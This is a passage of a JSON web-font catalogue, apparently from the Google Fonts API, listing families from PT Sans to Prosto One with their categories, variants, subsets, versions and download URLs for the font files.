"webfonts#webfont", "family": "PT Sans", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/ptsans/v11/jizaRExUiTo99u79P0WOxOGMMDQ.ttf", "italic": "http://fonts.gstatic.com/s/ptsans/v11/jizYRExUiTo99u79D0eEwMOJIDQA-g.ttf", "700": "http://fonts.gstatic.com/s/ptsans/v11/jizfRExUiTo99u79B_mh4OmnLD0Z4zM.ttf", "700italic": "http://fonts.gstatic.com/s/ptsans/v11/jizdRExUiTo99u79D0e8fOytKB8c8zMrig.ttf" } }, { "kind": "webfonts#webfont", "family": "PT Sans Caption", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/ptsanscaption/v12/0FlMVP6Hrxmt7-fsUFhlFXNIlpcqfQXwQy6yxg.ttf", "700": "http://fonts.gstatic.com/s/ptsanscaption/v12/0FlJVP6Hrxmt7-fsUFhlFXNIlpcSwSrUSwWuz38Tgg.ttf" } }, { "kind": "webfonts#webfont", "family": "PT Sans Narrow", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/ptsansnarrow/v11/BngRUXNadjH0qYEzV7ab-oWlsYCByxyKeuDp.ttf", "700": "http://fonts.gstatic.com/s/ptsansnarrow/v11/BngSUXNadjH0qYEzV7ab-oWlsbg95DiCUfzgRd-3.ttf" } }, { "kind": "webfonts#webfont", "family": "PT Serif", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/ptserif/v11/EJRVQgYoZZY2vCFuvDFRxL6ddjb-.ttf", "italic": "http://fonts.gstatic.com/s/ptserif/v11/EJRTQgYoZZY2vCFuvAFTzrq_cyb-vco.ttf", "700": "http://fonts.gstatic.com/s/ptserif/v11/EJRSQgYoZZY2vCFuvAnt65qVXSr3pNNB.ttf", "700italic": "http://fonts.gstatic.com/s/ptserif/v11/EJRQQgYoZZY2vCFuvAFT9gaQVy7VocNB6Iw.ttf" } }, { "kind": "webfonts#webfont", "family": "PT Serif Caption", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ptserifcaption/v11/ieVl2ZhbGCW-JoW6S34pSDpqYKU059WxDCs5cvI.ttf", "italic": "http://fonts.gstatic.com/s/ptserifcaption/v11/ieVj2ZhbGCW-JoW6S34pSDpqYKU019e7CAk8YvJEeg.ttf" } }, { "kind": "webfonts#webfont", "family": "Pacifico", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v16", "lastModified": "2019-09-17", "files": { "regular": "http://fonts.gstatic.com/s/pacifico/v16/FwZY7-Qmy14u9lezJ96A4sijpFu_.ttf" } }, { "kind": "webfonts#webfont", "family": "Padauk", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "myanmar", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/padauk/v6/RrQRboJg-id7OnbBa0_g3LlYbg.ttf", "700": "http://fonts.gstatic.com/s/padauk/v6/RrQSboJg-id7Onb512DE1JJEZ4YwGg.ttf" } }, { "kind": "webfonts#webfont", "family": "Palanquin", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/palanquin/v5/9XUhlJ90n1fBFg7ceXwUEltI7rWmZzTH.ttf", "200": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwUvnpoxJuqbi3ezg.ttf", "300": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwU2nloxJuqbi3ezg.ttf", "regular": "http://fonts.gstatic.com/s/palanquin/v5/9XUnlJ90n1fBFg7ceXwsdlFMzLC2Zw.ttf", "500": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwUgnhoxJuqbi3ezg.ttf", "600": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwUrn9oxJuqbi3ezg.ttf", "700": "http://fonts.gstatic.com/s/palanquin/v5/9XUilJ90n1fBFg7ceXwUyn5oxJuqbi3ezg.ttf" } }, { "kind": "webfonts#webfont", "family": "Palanquin Dark", "category": "sans-serif", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/palanquindark/v6/xn75YHgl1nqmANMB-26xC7yuF_6OTEo9VtfE.ttf", "500": "http://fonts.gstatic.com/s/palanquindark/v6/xn76YHgl1nqmANMB-26xC7yuF8Z6ZW41fcvN2KT4.ttf", "600": "http://fonts.gstatic.com/s/palanquindark/v6/xn76YHgl1nqmANMB-26xC7yuF8ZWYm41fcvN2KT4.ttf", "700": "http://fonts.gstatic.com/s/palanquindark/v6/xn76YHgl1nqmANMB-26xC7yuF8YyY241fcvN2KT4.ttf" } }, { "kind": "webfonts#webfont", "family": "Pangolin", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pangolin/v5/cY9GfjGcW0FPpi-tWPfK5d3aiLBG.ttf" } }, { "kind": "webfonts#webfont", "family": "Paprika", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/paprika/v7/8QIJdijZitv49rDfuIgOq7jkAOw.ttf" } }, { "kind": "webfonts#webfont", "family": "Parisienne", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/parisienne/v7/E21i_d3kivvAkxhLEVZpcy96DuKuavM.ttf" } }, { "kind": "webfonts#webfont", "family": "Passero One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/passeroone/v11/JTUTjIko8DOq5FeaeEAjgE5B5Arr-s50.ttf" } }, { "kind": "webfonts#webfont", "family": "Passion One", "category": "display", "variants": [ "regular", "700", "900" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/passionone/v10/PbynFmL8HhTPqbjUzux3JHuW_Frg6YoV.ttf", "700": "http://fonts.gstatic.com/s/passionone/v10/Pby6FmL8HhTPqbjUzux3JEMq037owpYcuH8y.ttf", "900": "http://fonts.gstatic.com/s/passionone/v10/Pby6FmL8HhTPqbjUzux3JEMS0X7owpYcuH8y.ttf" } }, { "kind": "webfonts#webfont", "family": "Pathway Gothic One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/pathwaygothicone/v8/MwQrbgD32-KAvjkYGNUUxAtW7pEBwx-dTFxeb80flQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Patrick Hand", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/patrickhand/v13/LDI1apSQOAYtSuYWp8ZhfYeMWcjKm7sp8g.ttf" } }, { "kind": "webfonts#webfont", "family": "Patrick Hand SC", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/patrickhandsc/v7/0nkwC9f7MfsBiWcLtY65AWDK873ViSi6JQc7Vg.ttf" } }, { "kind": "webfonts#webfont", "family": "Pattaya", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "vietnamese", "thai", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pattaya/v5/ea8ZadcqV_zkHY-XNdCn92ZEmVs.ttf" } }, { "kind": "webfonts#webfont", "family": "Patua One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/patuaone/v10/ZXuke1cDvLCKLDcimxBI5PNvNA9LuA.ttf" } }, { "kind": "webfonts#webfont", "family": "Pavanam", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "tamil", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pavanam/v4/BXRrvF_aiezLh0xPDOtQ9Wf0QcE.ttf" } }, { "kind": "webfonts#webfont", "family": "Paytone One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/paytoneone/v12/0nksC9P7MfYHj2oFtYm2CiTqivr9iBq_.ttf" } }, { "kind": "webfonts#webfont", "family": "Peddana", "category": "serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/peddana/v7/aFTU7PBhaX89UcKWhh2aBYyMcKw.ttf" } }, { "kind": "webfonts#webfont", "family": "Peralta", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/peralta/v7/hYkJPu0-RP_9d3kRGxAhrv956B8.ttf" } }, { "kind": "webfonts#webfont", "family": "Permanent Marker", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/permanentmarker/v9/Fh4uPib9Iyv2ucM6pGQMWimMp004HaqIfrT5nlk.ttf" } }, { "kind": "webfonts#webfont", "family": "Petit Formal Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/petitformalscript/v7/B50TF6xQr2TXJBnGOFME6u5OR83oRP5qoHnqP4gZSiE.ttf" } }, { "kind": "webfonts#webfont", "family": "Petrona", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/petrona/v8/mtG64_NXL7bZo9XXsXVStGsRwCU.ttf" } }, { "kind": "webfonts#webfont", "family": "Philosopher", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin" ], "version": "v12", "lastModified": "2020-01-30", "files": { "regular": "http://fonts.gstatic.com/s/philosopher/v12/vEFV2_5QCwIS4_Dhez5jcVBpRUwU08qe.ttf", "italic": "http://fonts.gstatic.com/s/philosopher/v12/vEFX2_5QCwIS4_Dhez5jcWBrT0g21tqeR7c.ttf", "700": "http://fonts.gstatic.com/s/philosopher/v12/vEFI2_5QCwIS4_Dhez5jcWjVamgc-NaXXq7H.ttf", "700italic": "http://fonts.gstatic.com/s/philosopher/v12/vEFK2_5QCwIS4_Dhez5jcWBrd_QZ8tK1W77HtMo.ttf" } }, { "kind": "webfonts#webfont", "family": "Piedra", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/piedra/v8/ke8kOg8aN0Bn7hTunEyHN_M3gA.ttf" } }, { "kind": "webfonts#webfont", "family": "Pinyon Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pinyonscript/v9/6xKpdSJbL9-e9LuoeQiDRQR8aOLQO4bhiDY.ttf" } }, { "kind": "webfonts#webfont", "family": "Pirata One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pirataone/v8/I_urMpiDvgLdLh0fAtoftiiEr5_BdZ8.ttf" } }, { "kind": "webfonts#webfont", "family": "Plaster", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/plaster/v11/DdTm79QatW80eRh4Ei5JOtLOeLI.ttf" } }, { "kind": "webfonts#webfont", "family": "Play", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/play/v11/6aez4K2oVqwIjtI8Hp8Tx3A.ttf", "700": "http://fonts.gstatic.com/s/play/v11/6ae84K2oVqwItm4TOpc423nTJTM.ttf" } }, { "kind": "webfonts#webfont", "family": "Playball", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/playball/v9/TK3gWksYAxQ7jbsKcj8Dl-tPKo2t.ttf" } }, { "kind": "webfonts#webfont", "family": "Playfair Display", "category": "serif", "variants": [ "regular", "500", "600", "700", "800", "900", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "latin-ext", "latin" ], "version": "v20", "lastModified": "2020-02-05", "files": { "regular": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKdFvUDQZNLo_U2r.ttf", "500": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKd3vUDQZNLo_U2r.ttf", "600": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKebukDQZNLo_U2r.ttf", "700": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKeiukDQZNLo_U2r.ttf", "800": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKfFukDQZNLo_U2r.ttf", "900": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKfsukDQZNLo_U2r.ttf", "italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_qiTbtbK-F2rA0s.ttf", "500italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_pqTbtbK-F2rA0s.ttf", "600italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_naUbtbK-F2rA0s.ttf", "700italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_k-UbtbK-F2rA0s.ttf", "800italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_iiUbtbK-F2rA0s.ttf", "900italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_gGUbtbK-F2rA0s.ttf" } }, { "kind": "webfonts#webfont", "family": "Playfair Display SC", "category": "serif", "variants": [ "regular", "italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke85OhoaMkR6-hSn7kbHVoFf7ZfgMPr_pb4GEcM2M4s.ttf", "italic": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke87OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbwMFeEzI4sNKg.ttf", "700": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke80OhoaMkR6-hSn7kbHVoFf7ZfgMPr_nQIpNcsdL4IUMyE.ttf", "700italic": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke82OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbw0qc4XK6ARIyH5IA.ttf", "900": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke80OhoaMkR6-hSn7kbHVoFf7ZfgMPr_nTorNcsdL4IUMyE.ttf", "900italic": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke82OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbw0kcwXK6ARIyH5IA.ttf" } }, { "kind": "webfonts#webfont", "family": "Podkova", "category": "serif", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v16", "lastModified": "2020-02-05", "files": { "regular": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWtFzcU4EoporSHH.ttf", "500": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWt3zcU4EoporSHH.ttf", "600": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWubysU4EoporSHH.ttf", "700": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWuiysU4EoporSHH.ttf", "800": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWvFysU4EoporSHH.ttf" } }, { "kind": "webfonts#webfont", "family": "Poiret One", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/poiretone/v8/UqyVK80NJXN4zfRgbdfbk5lWVscxdKE.ttf" } }, { "kind": "webfonts#webfont", "family": "Poller One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pollerone/v9/ahccv82n0TN3gia5E4Bud-lbgUS5u0s.ttf" } }, { "kind": "webfonts#webfont", "family": "Poly", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/poly/v10/MQpb-W6wKNitRLCAq2Lpris.ttf", "italic": "http://fonts.gstatic.com/s/poly/v10/MQpV-W6wKNitdLKKr0DsviuGWA.ttf" } }, { "kind": "webfonts#webfont", "family": "Pompiere", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pompiere/v9/VEMyRoxis5Dwuyeov6Wt5jDtreOL.ttf" } }, { "kind": "webfonts#webfont", "family": "Pontano Sans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pontanosans/v7/qFdD35GdgYR8EzR6oBLDHa3qwjUMg1siNQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Poor Story", "category": "display", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/poorstory/v8/jizfREFUsnUct9P6cDfd4OmnLD0Z4zM.ttf" } }, { "kind": "webfonts#webfont", "family": "Poppins", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-10-15", "files": { "100": "http://fonts.gstatic.com/s/poppins/v9/pxiGyp8kv8JHgFVrLPTed3FBGPaTSQ.ttf", "100italic": "http://fonts.gstatic.com/s/poppins/v9/pxiAyp8kv8JHgFVrJJLmE3tFOvODSVFF.ttf", "200": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLFj_V1tvFP-KUEg.ttf", "200italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLmv1plEN2PQEhcqw.ttf", "300": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLDz8V1tvFP-KUEg.ttf", "300italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLm21llEN2PQEhcqw.ttf", "regular": "http://fonts.gstatic.com/s/poppins/v9/pxiEyp8kv8JHgFVrFJDUc1NECPY.ttf", "italic": "http://fonts.gstatic.com/s/poppins/v9/pxiGyp8kv8JHgFVrJJLed3FBGPaTSQ.ttf", "500": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLGT9V1tvFP-KUEg.ttf", "500italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLmg1hlEN2PQEhcqw.ttf", "600": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLEj6V1tvFP-KUEg.ttf", "600italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLmr19lEN2PQEhcqw.ttf", "700": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLCz7V1tvFP-KUEg.ttf", "700italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLmy15lEN2PQEhcqw.ttf", "800": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLDD4V1tvFP-KUEg.ttf", "800italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLm111lEN2PQEhcqw.ttf", "900": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLBT5V1tvFP-KUEg.ttf", "900italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLm81xlEN2PQEhcqw.ttf" } }, { "kind": "webfonts#webfont", "family": "Port Lligat Sans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/portlligatsans/v8/kmKmZrYrGBbdN1aV7Vokow6Lw4s4l7N0Tx4xEcQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Port Lligat Slab", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/portlligatslab/v8/LDIpaoiQNgArA8kR7ulhZ8P_NYOss7ob9yGLmfI.ttf" } }, { "kind": "webfonts#webfont", "family": "Pragati Narrow", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pragatinarrow/v5/vm8vdRf0T0bS1ffgsPB7WZ-mD17_ytN3M48a.ttf", "700": "http://fonts.gstatic.com/s/pragatinarrow/v5/vm8sdRf0T0bS1ffgsPB7WZ-mD2ZD5fd_GJMTlo_4.ttf" } }, { "kind": "webfonts#webfont", "family": "Prata", "category": "serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin" ], "version": "v11", "lastModified": "2020-01-30", "files": { "regular": "http://fonts.gstatic.com/s/prata/v11/6xKhdSpbNNCT-vWIAG_5LWwJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Preahvihear", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/preahvihear/v11/6NUS8F-dNQeEYhzj7uluxswE49FJf8Wv.ttf" } }, { "kind": "webfonts#webfont", "family": "Press Start 2P", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/pressstart2p/v8/e3t4euO8T-267oIAQAu6jDQyK0nSgPJE4580.ttf" } }, { "kind": "webfonts#webfont", "family": "Pridi", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc1SiE0jRUG0AqUc.ttf", "300": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc02i00jRUG0AqUc.ttf", "regular": "http://fonts.gstatic.com/s/pridi/v5/2sDQZG5JnZLfkfWao2krbl29.ttf", "500": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc1uik0jRUG0AqUc.ttf", "600": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc1CjU0jRUG0AqUc.ttf", "700": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc0mjE0jRUG0AqUc.ttf" } }, { "kind": "webfonts#webfont", "family": "Princess Sofia", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/princesssofia/v8/qWczB6yguIb8DZ_GXZst16n7GRz7mDUoupoI.ttf" } }, { "kind": "webfonts#webfont", "family": "Prociono", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/prociono/v9/r05YGLlR-KxAf9GGO8upyDYtStiJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Prompt", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/prompt/v4/-W_9XJnvUD7dzB2CA9oYREcjeo0k.ttf", "100italic": "http://fonts.gstatic.com/s/prompt/v4/-W_7XJnvUD7dzB2KZeJ8TkMBf50kbiM.ttf", "200": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cr_s4bmkvc5Q9dw.ttf", "200italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLQb2MrUZEtdzow.ttf", "300": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cy_g4bmkvc5Q9dw.ttf", "300italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeK0bGMrUZEtdzow.ttf", "regular": "http://fonts.gstatic.com/s/prompt/v4/-W__XJnvUD7dzB26Z9AcZkIzeg.ttf", "italic": "http://fonts.gstatic.com/s/prompt/v4/-W_9XJnvUD7dzB2KZdoYREcjeo0k.ttf", "500": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Ck_k4bmkvc5Q9dw.ttf", "500italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLsbWMrUZEtdzow.ttf", "600": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cv_44bmkvc5Q9dw.ttf", "600italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLAamMrUZEtdzow.ttf", "700": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2C2_84bmkvc5Q9dw.ttf", "700italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeKka2MrUZEtdzow.ttf", "800": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cx_w4bmkvc5Q9dw.ttf", "800italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeK4aGMrUZEtdzow.ttf", "900": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2C4_04bmkvc5Q9dw.ttf", "900italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeKcaWMrUZEtdzow.ttf" } }, { "kind": "webfonts#webfont", "family": "Prosto One", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": 